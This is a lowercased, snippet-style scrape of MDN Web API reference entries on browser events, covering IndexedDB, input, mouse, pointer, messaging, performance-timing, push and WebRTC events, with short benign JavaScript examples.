...}); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(newitem); objectstorerequest.onerror = () => { console.log(`error adding new item: ${newitem.tasktitle}`); }; }; ...
IDBRequest: success event - Web APIs
the success event is fired when an idbrequest succeeds.
... bubbles no cancelable no interface event event handler property onsuccess examples this example tries to open a database and listens for the success event using addeventlistener(): // open the database const openrequest = window.indexeddb.open('todolist', 4); openrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.creat...
...eindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; openrequest.addeventlistener('success', (event) => { console.log('database opened successfully!'); }); the same example, but using the onsuccess event handler property: // open the database const openrequest = window.indexeddb.open('todolist', 4); openrequest.onupgradeneeded = (event) => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', {...
... unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; openrequest.onsuccess = (event) => { console.log('database opened successfully!'); }; ...
IDBTransaction: complete event - Web APIs
bubbles no cancelable no interface event event handler property oncomplete examples using addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstor...
...e.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); // add a listener for `complete` transaction.addeventlistener('complete', event => { console.log('transaction was competed'); }); const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2019 }; const objectstorerequest = objectstore.add(newitem); }; using the oncomplete property: // open the database co...
...nst dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creating database'); }; // create an objectstore for this database var objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db = dbopenrequest.result; // open a read/...
...write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); // add a listener for `complete` transaction.oncomplete = event => { console.log('transaction was competed'); }; const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2019 }; const objectstorerequest = objectstore.add(newitem); }; ...
IDBTransaction: error event - Web APIs
the error event is fired on idbtransaction when a request returns an error and the event bubbles up to the transaction object.
... bubbles yes cancelable no interface event event handler property onerror examples this example opens a database and tries to add a record, listening for the error event for the add() operation (this will occur if, for example, a record with the given tasktitle already exists): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique:...
... false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); transaction.addeventlistener('error', () => { console.log(`error adding new item: ${newitem.tasktitle}`); }); const objectstore = transaction.objectstore('todolist'); const newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(newitem); }; the same example, using the onerror property instead...
... of addeventlistener(): // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = (event) => { const db = event.target.result; // create an objectstore for this database const objectstore = db.createobjectstore('todolist', { keypath: 'tasktitle' }); // define what data items the objectstore will contain objectstore.createindex('hours', 'hours', { unique: false }); objectstore.createindex('minutes', 'minutes', { unique: false }); objectstore.createindex('day', 'day', { unique: false }); objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const db = dbopenrequest.result; // open a read/write db transactio...
IDBVersionChangeEvent.newVersion - Web APIs
the newversion read-only property of the idbversionchangeevent interface returns the new version number of the database.
... syntax var newversion = idbversionchangeevent.newversion value a 64-bit integer.
...these events are fired via the custom idbversionchangeevent interface.
...cts: window.idbtransaction = window.idbtransaction || window.webkitidbtransaction || window.msidbtransaction; window.idbkeyrange = window.idbkeyrange || window.webkitidbkeyrange || window.msidbkeyrange; // (mozilla has never prefixed these objects, // so we don't need window.mozidb*) // let us open version 4 of our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
firesTouchEvents - Web APIs
the inputdevicecapabilities.firestouchevents read-only property returns a boolean that indicates whether the device dispatches touch events.
... you can use this property to detect mouse events that represent an action that may already have been handled by touch event handlers.
...for example, stylus and mouse devices typically generate touch events on mobile browsers.
... syntax var boolean = inputdevicecapabilities.firestouchevents returns a boolean example mybutton.addeventlistener('mousedown', function(e) { if (!e.sourcecapabilities.firestouchevents) mybutton.classlist.add("pressed"); }); specifications specification status comment inputdevicecapabilitiesthe definition of 'firetouchevents' in that specification.
InputEvent.data - Web APIs
WebAPIInputEventdata
the data read-only property of the inputevent interface returns a domstring with the inserted characters.
... syntax var astring = inputevent.data; value a domstring.
... examples in the following simple example we've set up an event listener on the input event so that when any change is made to the contents of the <input> element (either by typing or pasting), the text that was added is retrieved via the inputevent.data property and reported in the paragraph below the input.
... <p>some text to copy and paste.</p> <input type="text"> <p class="result"></p> var editable = document.queryselector('input') var result = document.queryselector('.result'); editable.addeventlistener('input', (e) => { result.textcontent = "inputted text: " + e.data; }); specifications specification status comment input events level 2the definition of 'data' in that specification.
InputEvent.dataTransfer - Web APIs
the datatransfer read-only property of the inputevent interface returns a datatransfer object containing information about richtext or plaintext data being added to or removed from editible content.
... syntax var datatransfer = inputevent.datatransfer value a datatransfer object.
... examples in the following simple example we've set up an event listener on the input event so that when any content is pasted into the contenteditable <p> element, its html source is retrieved via the inputevent.datatransfer.getdata() method and reported in the paragraph below the input.
...<span style="font-style: italic; color: red">exciting: italic red text!</span></p> <p>boring normal text ;-(</p> <hr> <p contenteditable="true">go on, try pasting some content into this editable paragraph and see what happens!</p> <p class="result"></p> var editable = document.queryselector('p[contenteditable]'); var result = document.queryselector('.result') var datatransferobj; editable.addeventlistener('input', (e) => { result.textcontent = e.datatransfer.getdata('text/html'); }); specifications specification status comment input events level 2the definition of 'datatransfer' in that specification.
KeyboardEvent.which - Web APIs
the which read-only property of the keyboardevent interface returns the numeric keycode of the key pressed, or the character code (charcode) for an alphanumeric key pressed.
... syntax var keyresult = event.which; return value keyresult contains the numeric code for a particular key pressed, depending on whether an alphanumeric or non-alphanumeric key was pressed.
... please see keyboardevent.charcode and keyboardevent.keycode for more details.
... + "which property: " + evt.which + "\n" + "charcode property: " + evt.charcode + "\n" + "character key pressed: " + string.fromcharcode(evt.charcode) + "\n" ); } function keydown(evt) { alert("onkeydown handler: \n" + "keycode property: " + evt.keycode + "\n" + "which property: " + evt.which + "\n" ); } </script> </head> <body onkeypress="showkeypress(event);" onkeydown="keydown(event);" > <p>please press any key.</p> </body> </html> specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'keyboardevent.which' in that specification.
MIDIConnectionEvent - Web APIs
the midiconnectionevent interface of the web midi api is the event passed to the onstatechange event handler of the midiaccess interface and the onstatechange event of the midiports interface.
...for example, this event is fired whenever a midi device is either plugged in to or unplugged from a computer.
... constructor midiconnectionevent.midiconnectionevent creates a new midiconnectionevent object.
... properties midiconnectionevent.port returns a reference to a midiport instance for a port that has been connected or disconnected." examples specifications specification status comment web midi api working draft initial definition.
MediaRecorderErrorEvent.error - Web APIs
the read-only error property in the mediarecordererrorevent interface is a domexception object providing details about the exception that was thrown by a mediarecorder instance.
... when a media​recorder​error​event occurs, you can determine to some extent what went wrong by examining the error property within the media​recorder​error​event received by the mediarecorder's error event handler, onerror.
... syntax error = mediarecordererrorevent.error; value a domexception describing the error represented by the event.
... function recordstream(stream) { let recorder = null; let bufferlist = []; try { recorder = new mediarecorder(stream); } catch(err) { /* exception while trying to create the recorder; handle that */ } recorder.ondataavailable = function(event) { bufferlist.push(event.data); }; recorder.onerror = function(event) { let error = event.error; }; recorder.start(100); /* 100ms time slices per buffer */ return recorder; } specifications specification status comment mediastream recordingthe definition of 'mediarecordererrorevent.error' in that specification.
MessagePort: message event - Web APIs
the message event is fired on a messageport object when a message arrives on that channel.
... bubbles no cancelable no interface messageevent event handler property onmessage examples suppose a script creates a messagechannel and sends one of the ports to a different browsing context, such as another <iframe>, using code like this: const channel = new messagechannel(); const myport = channel.port1; const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value); }) targetframe.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and start listen...
...ing for messages on it using code like this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.start(); }); note that the listener must call messageport.start() before any messages will be delivered to this port.
... this is only needed when using the addeventlistener() method: if the receiver uses onmessage instead, start() is called implicitly: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.onmessage = (event) => { received.textcontent = event.data; }; }); specifications specification status html living standard living standard ...
MessagePort: messageerror event - Web APIs
the messageerror event is fired on a messageport object when it receives a message that can't be deserialized.
... bubbles no cancelable no interface messageevent event handler property onmessageerror examples suppose a script creates a messagechannel and sends one of the ports to a different browsing context, such as another <iframe>, using code like this: const channel = new messagechannel(); const myport = channel.port1; const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value); }) targetframe.postmessage('init', targetorigin, [channel.port2]); the target can receive the port and start l...
...istening for messages and message errors on it using code like this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.addeventlistener('messageerror', (event) => { console.error(event.data); }); myport.start(); }); note that the listener must call messageport.start() before any messages will be delivered to this port.
... this is only needed when using the addeventlistener() method: if the receiver uses onmessage instead, start() is called implicitly: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.onmessage = (event) => { received.textcontent = event.data; }; myport.onmessageerror = (event) => { console.error(event.data); }; }); specifications specification status html living standard living standard ...
MouseEvent.movementX - Web APIs
the movementx read-only property of the mouseevent interface provides the difference in the x coordinate of the mouse pointer between the given event and the previous mousemove event.
... in other words, the value of the property is computed like this: currentevent.movementx = currentevent.screenx - previousevent.screenx.
... syntax var xshift = instanceofmouseevent.movementx; return value a number example this example logs the amount of mouse movement using movementx and movementy.
... html <p id="log">move your mouse around.</p> javascript function logmovement(event) { log.insertadjacenthtml('afterbegin', `movement: ${event.movementx}, ${event.movementy}<br>`); while (log.childnodes.length > 128) log.lastchild.remove() } const log = document.getelementbyid('log'); document.addeventlistener('mousemove', logmovement); result specifications specification status comment pointer lockthe definition of 'mouseevent.movementx' in that specification.
MouseEvent.movementY - Web APIs
the movementy read-only property of the mouseevent interface provides the difference in the y coordinate of the mouse pointer between the given event and the previous mousemove event.
... in other words, the value of the property is computed like this: currentevent.movementy = currentevent.screeny - previousevent.screeny.
... syntax var yshift = instanceofmouseevent.movementy; return value a number example this example logs the amount of mouse movement using movementx and movementy.
... html <p id="log">move your mouse around.</p> javascript function logmovement(event) { log.innertext = `movement: ${event.movementx}, ${event.movementy}\n${log.innertext}`; } const log = document.getelementbyid('log'); document.addeventlistener('mousemove', logmovement); result specifications specification status comment pointer lockthe definition of 'mouseevent.movementy' in that specification.
MouseEvent.pageY - Web APIs
WebAPIMouseEventpageY
the pagey read-only property of the mouseevent interface returns the y (vertical) coordinate in pixels of the event relative to the whole document.
... syntax var pos = event.pagey; originally, this property was defined as a long integer.
... examples var pagey = event.pagey; specifications specification status comment css object model (cssom) view modulethe definition of 'pagey' in that specification.
... touch eventsthe definition of 'pagey' in that specification.
MouseEvent.region - Web APIs
WebAPIMouseEventregion
the mouseevent.region read-only property returns the id of the canvas hit region affected by the event.
... syntax var hitregion = instanceofmouseevent.region return value a domstring representing the id of the hit region.
... example example of using the event.region combined with canvasrenderingcontext2d.addhitregion() method.
... <canvas id="canvas"></canvas> <script> var canvas = document.getelementbyid("canvas"); var ctx = canvas.getcontext("2d"); ctx.beginpath(); ctx.arc(70, 80, 10, 0, 2 * math.pi, false); ctx.fill(); ctx.addhitregion({id: "circle"}); canvas.addeventlistener("mousemove", function(event){ if(event.region) { console.log("hit region: " + event.region); } }); </script> ...
MouseWheelEvent - Web APIs
the mousewheelevent interface represents events that occur due to the user turning a mouse wheel.
... do not use this interface for wheel events.
... like mousescrollevent, this interface is non-standard and deprecated.
...instead use the standard wheelevent.
NotificationEvent.notification - Web APIs
the notification read-only property of the notificationevent interface returns the instance of the notification that was clicked to fire the event.
... the notification provides read-only access to many properties that were set at the instantiation time of the notification such as tag and data attributes that allow you to store information for defered use in the notificationclick event.
... example self.addeventlistener('notificationclick', function(event) { console.log('on notification click'); // data can be attached to the notification so that you // can process it in the notificationclick handler.
... console.log('notification tag:', event.notification.tag); console.log('notification data:', event.notification.data); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment notifications apithe definition of 'notification' in that specification.
PaymentRequestEvent - Web APIs
the paymentrequestevent interface of the the payment request api is the object passed to a payment handler when a paymentrequest is made.
... constructor paymentrequestevent() creates a new paymentrequestevent object.
... respondwith() prevents the default event handling and allows you to provide a promise for a paymentresponse object yourself.
... specifications specification status comment payment handler apithe definition of 'paymentrequestevent' in that specification.
PerformanceNavigationTiming.domContentLoadedEventEnd - Web APIs
the domcontentloadedeventend read-only property returns a timestamp representing the time value equal to the time immediately after the current document's domcontentloaded event completes.
... syntax perfentry.domcontentloadedeventend; return value a timestamp representing the time value equal to the time immediately after the current document's domcontentloaded event completes.
... function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other pro...
...perties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'domcontentloadedeventend' in that specification.
PerformanceNavigationTiming.domContentLoadedEventStart - Web APIs
the domcontentloadedeventstart read-only property returns a timestamp representing the time value equal to the time immediately before the user agent fires the domcontentloaded event at the current document.
... syntax perfentry.domcontentloadedeventstart; return value a timestamp representing the time value equal to the time immediately before the user agent fires the domcontentloaded event at the current document.
... function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other proper...
...ties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'domcontentloadedeventstart' in that specification.
PerformanceNavigationTiming.loadEventEnd - Web APIs
the loadeventend read-only property returns a timestamp which is equal to the time when the load event of the current document is completed.
... syntax perfentry.loadeventend; return value a timestamp representing the time when the load event of the current document is completed.
... function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.dominteractive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other pro...
...perties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'loadeventend' in that specification.
PerformanceNavigationTiming.loadEventStart - Web APIs
the loadeventstart read-only property returns a timestamp representing the time value equal to the time immediately before the load event of the current document is fired.
... syntax perfentry.loadeventstart; return value a timestamp representing a time value equal to the time immediately before the load event of the current document is fired.
... function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other proper...
...ties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'loadeventstart' in that specification.
PerformanceNavigationTiming.unloadEventEnd - Web APIs
the unloadeventend read-only property returns a timestamp representing the time value equal to the time immediately after the user agent finishes the unload event of the previous document.
... syntax perfentry.unloadeventend; return value a timestamp representing a time value equal to the time immediately after the user agent finishes the unload event of the previous document.
... function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other proper...
...ties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'unloadeventend' in that specification.
PerformanceNavigationTiming.unloadEventStart - Web APIs
the unloadeventstart read-only property returns a timestamp representing the time value equal to the time immediately before the user agent starts the unload event of the previous document.
... syntax perfentry.unloadeventstart; return value a timestamp representing the time value equal to the time immediately before the user agent starts the unload event of the previous document.
... function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complete = " + p.domcomplete); console.log("dom interactive = " + p.interactive); // document load and unload time console.log("document load = " + (p.loadeventend - p.loadeventstart)); console.log("document unload = " + (p.unloadeventend - p.unloadeventstart)); // other proper...
...ties console.log("type = " + p.type); console.log("redirectcount = " + p.redirectcount); } } specifications specification status comment navigation timing level 2the definition of 'unloadeventstart' in that specification.
PerformanceTiming.loadEventEnd - Web APIs
please use the performancenavigationtiming interface's performancenavigationtiming.loadeventend read-only property instead.
... the legacy performancetiming.loadeventend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the load event handler terminated, that is when the load event is completed.
... if this event has not yet been sent, or is not yet completed, it returns 0.
... syntax time = performancetiming.loadeventend; specifications specification status comment navigation timingthe definition of 'performancetiming.loadeventend' in that specification.
PerformanceTiming.loadEventStart - Web APIs
please use the performancenavigationtiming interface's performancenavigationtiming.loadeventstart read-only property instead..
... the legacy performancetiming.loadeventstart read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the load event was sent for the current document.
... if this event has not yet been sent, it returns 0.
... syntax time = performancetiming.loadeventstart; specifications specification status comment navigation timingthe definition of 'performancetiming.loadeventstart' in that specification.
PointerEvent.tangentialPressure - Web APIs
the tangentialpressure read-only property of the pointerevent interface represents the normalized tangential pressure of the pointer input (also known as barrel pressure or cylinder stress).
... syntax var tanpressure = pointerevent.tangentialpressure; return value a float representing the normalized tangential pressure of the pointer input in the range -1 to 1, inclusive, where 0 is the neutral position of the control.
... example in this snippet, when a pointerdown event is fired, different functions are called depending on the value of the event's tangentialpressure property.
... someelement.addeventlistener('pointerdown', function(event) { if (event.tangentialpressure == 0) { // no pressure process_no_tanpressure(event); } else if (event.tangentialpressure == 1) { // maximum pressure process_max_tanpressure(event); } else { // default process_tanpressure(event); } }, false); specifications specification status comment pointer events – level 2the definition of 'tangentialpressure' in that specification.
PointerEvent.tiltX - Web APIs
the tiltx read-only property of the pointerevent interface is the angle (in degrees) between the y-z plane of the pointer and the screen.
... syntax var tiltx = pointerevent.tiltx; return value tiltx the angle in degrees between the y-z plane of the pointer (stylus) and the screen.
... someelement.addeventlistener("pointerdown", function(event) { process_tilt(event.tiltx, event.tilty); }, false); specifications specification status comment pointer events – level 2the definition of 'tiltx' in that specification.
... pointer eventsthe definition of 'tiltx' in that specification.
PointerEvent.tiltY - Web APIs
the tilty read-only property of the pointerevent interface is the angle (in degrees) between the x-z plane of the pointer and the screen.
... syntax var tilty = pointerevent.tilty; return value tilty the angle in degrees between the x-z plane of the pointer (stylus) and the screen.
... someelement.addeventlistener("pointerdown", function(event) { process_tilt(event.tiltx, event.tilty); }, false); specifications specification status comment pointer events – level 2the definition of 'tilty' in that specification.
... pointer eventsthe definition of 'tilty' in that specification.
PointerEvent.twist - Web APIs
the twist read-only property of the pointerevent interface represents the clockwise rotation of the pointer (e.g., pen stylus) around its major axis, in degrees.
... syntax var twist = pointerevent.twist; return value a long value representing the amount of twist, in degrees, applied to the transducer (pointer).
... example when a pointerdown event is fired, different functions are called depending on the value of the event's twist property.
... someelement.addeventlistener('pointerdown', function(event) { if (event.twist == 0) { // no twist process_no_twist(event); } else { // default process_twist(event); } }, false); specifications specification status comment pointer events – level 2the definition of 'twist' in that specification.
PushEvent.data - Web APIs
WebAPIPushEventdata
the data read-only property of the pushevent interface returns a reference to a pushmessagedata object containing data sent to the pushsubscription.
... syntax var mypushdata = pushevent.data; value a pushmessagedata object.
... examples the following example takes data from a pushevent and displays it on all of the service workers' clients.
... self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status comment push apithe definition of ...
RTCDTMFSender: tonechange event - Web APIs
the tonechange event is sent to an rtcdtmfsender by the webrtc api to indicate when dtmf tones previously queued for sending (by calling rtcdtmfsender.insertdtmf()) begin and end.
... bubbles no cancelable no interface rtcdtmftonechangeevent event handler property ontonechange to determine what tone started playing, or if a tone stopped playing, check the value of the event's tone property.
... examples this example establishes a handler for the tonechange event which updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>".
... this can be done using addeventlistener(): dtmfsender.addeventlistener("tonechange", ev => { let tone = ev.tone; if (tone === "") { tone = "&lt;none&gt;"; } document.getelementbyid("playingtone").innertext = tone; }, false); you can also just set the ontonechange event handler property directly: dtmfsender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "&lt;none&gt;" } document.getelementbyid("playingtone").innertext = tone; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'tonechange' in that specification.
RTCDataChannel: close event - Web APIs
the close event is sent to the onclose event handler on an rtcdatachannel instance when the data transport being used for the data channel has closed.
... bubbles no cancelable no interface event event handler property rtcdatachannel.onclose examples this example sets up a handler for the close event for the rtcdatachannel named dc; its responsibility in this example is to update user interface elements to reflect that there is no longer an ongoing call, and to allow a new call to be started.
... dc.addeventlistener("close", ev => { messageinputbox.disabled = true; sendbutton.disabled = true; connectbutton.disabled = false; disconnectbutton.disabled = true; }, false); all this code does in response to receiving the close event is to disable an input box and its "send" button, and to enable the button used to start a call (while disabling the one that ends a call).
... you can also use the onclose event handler property to set a handler for close events: dc.onclose = ev => { messageinputbox.disabled = true; sendbutton.disabled = true; connectbutton.disabled = false; disconnectbutton.disabled = true; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'close' in that specification.
RTCDataChannel: message event - Web APIs
the webrtc message event is sent to the onmessage event handler on an rtcdatachannel object when a message has been received from the remote peer.
... bubbles no cancelable no interface messageevent event handler property onmessage note: the message event uses as its event object type the messageevent interface defined by the html specification.
... dc.addeventlistener("message", ev => { let newparagraph = document.createelement("p"); let textnode = document.createtextnode(event.data); newparagraph.appendchild(textnode); document.body.appendchild(newparagraph); }, false); lines 2-4 create the new paragraph element and add the message data to it as a new text node.
... you can also use an rtcdatachannel object's onmessage event handler property to set the event handler: dc.onmessage = ev => { let newparagraph = document.createelement("p"); let textnode = document.createtextnode(event.data); newparagraph.appendchild(textnode); document.body.appendchild(newparagraph); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'the <code>message</code> event' in that specification.
RTCDataChannelEvent.channel - Web APIs
the read-only property rtcdatachannelevent.channel returns the rtcdatachannel associated with the event.
... syntax var channel = rtcdatachannelevent.channel; value a rtcdatachannel object representing the data channel linking the receiving rtcpeerconnection to its remote peer.
... example the first line of code in the datachannel event handler shown below takes the channel from the event object and saves it locally for use by the code handling data traffic.
... pc.ondatachannel = function(event) { inbounddatachannel = event.channel; inbounddatachannel.onmessage = handleincomingmessage; inbounddatachannel.onopen = handlechannelopen; inbounddatachannel.onclose = handlechannelclose; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannelevent.channel' in that specification.
RTCIceTransport: gatheringstatechange event - Web APIs
a gatheringstatechange event is sent to an rtcicetransport when its ice candidate gathering state changes.
... bubbles no cancelable no interface event event handler property ongatheringstatechange the key difference between gatheringstatechange and icegatheringstatechange is that the latter represents the overall state of the connection including every rtcicetransport used by every rtcrtpsender and every rtcrtpreceiver on the entire connection.
... examples this example creates a handler for gatheringstatechange events on each rtcrtpsender associated with a given rtcpeerconnection.
... here, the addeventlistener() method is called to add a listener for gatheringstatechange events: pc.getsenders().foreach(sender => { sender.transport.icetransport.addeventlistener("gatheringstatechange", ev => { let transport = ev.target; if (transport.gatheringstate === "complete") { /* this transport has finished gathering candidates, but others may still be working on it */ } }, false); likewise, you can use the ongatheringstatechange event handler property: pc.getsenders().foreach(sender => { sender.transport.icetransport.ongatheringstatechange = ev => { let transport = ev.target; if (transport.gatheringstate === "complete") { /* this transport has finished gathering candidates, but others may still be working on it */ } }; }); specif...
RTCPeerConnection: iceconnectionstatechange event - Web APIs
an iceconnectionstatechange event is sent to an rtcpeerconnection object each time the ice connection state changes during the negotiation process.
... bubbles no cancelable no interface event event handler property oniceconnectionstatechange one common task performed by the iceconnectionstatechange event listener: to trigger ice restart when the state changes to failed.
... examples an event handler for this event can be added using the rtcpeerconnection.oniceconnectionstatechange property or by using addeventlistener() on the rtcpeerconnection.
... pc.addeventlistener("iceconnectionstatechange", ev => { let stateelem = document.queryselector("#call-state"); stateelem.classname = `${pc.iceconnectionstate}-state`; }, false); this can also be written as: pc.oniceconnectionstatechange = ev => { let stateelem = document.queryselector("#call-state"); stateelem.classname = `${pc.iceconnectionstate}-state`; } specifications specification status comment webrtc 1.0: real-time communication between browserst...
RTCPeerConnection: icegatheringstatechange event - Web APIs
